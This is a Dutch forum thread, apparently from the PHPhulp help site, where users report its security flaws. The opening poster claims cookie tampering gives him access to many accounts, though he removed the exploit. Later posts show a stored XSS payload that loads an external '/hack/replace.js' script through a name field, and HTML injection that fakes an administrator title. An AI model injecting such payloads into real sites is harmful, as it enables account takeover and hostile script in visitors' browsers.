Daar ik zeer nieuwsgierig was naar de verdere veiligheid van PHPhulp na m'n UBB exploit, heb ik nog een leuke ontdekking gedaan.

Een wijze les aan alle personen hier, een cookie is niet te vertrouwen!
Ik heb dmv cookie data toegang tot talloze PHPhulp accounts, iets dat me niet de bedoeling lijkt.

Ik zal zo even een berichtje plaatsen met een ander account om mijn verhaal te bevestingen ;)


// Edit : Exploit weggehaald :+
Ja. Volgens mij moet phphulp eens vernieuwd worden. De hele scripting. Niet alleen dit. Als er iets efficienter gescript wordt, kan phphulp een stuk sneller worden o.a
Al die bugs zijn natuurlijk allang bekend...
En dit was zeker ook niet bekend :)
Toch wel leuk hoor, jezelf de titel van administrator geven :)
Ik heb ze toch maar even gemeld :)
dat heb ik ook al meerdere keren gedaan :s
Jelmer probeert weer iets:
Door

<script src='http://phphulp.ikhoefgeen.nl/hack/replace.js'></script>Jelmer
made on a mac

:) tnx dudes ;)

hoe geef je jezelf dan administrator?
ja ik zag het ja :P

@ Bas
hij was niet echt admin
door de tekst leek het zo, maar de functies had ie niet
Ik deed dit invullen:
Sebastiaan</a><br><b>administrator</b><br>

Maar wat ik al zei: jezelf de titel van administrator geven :)

Reageren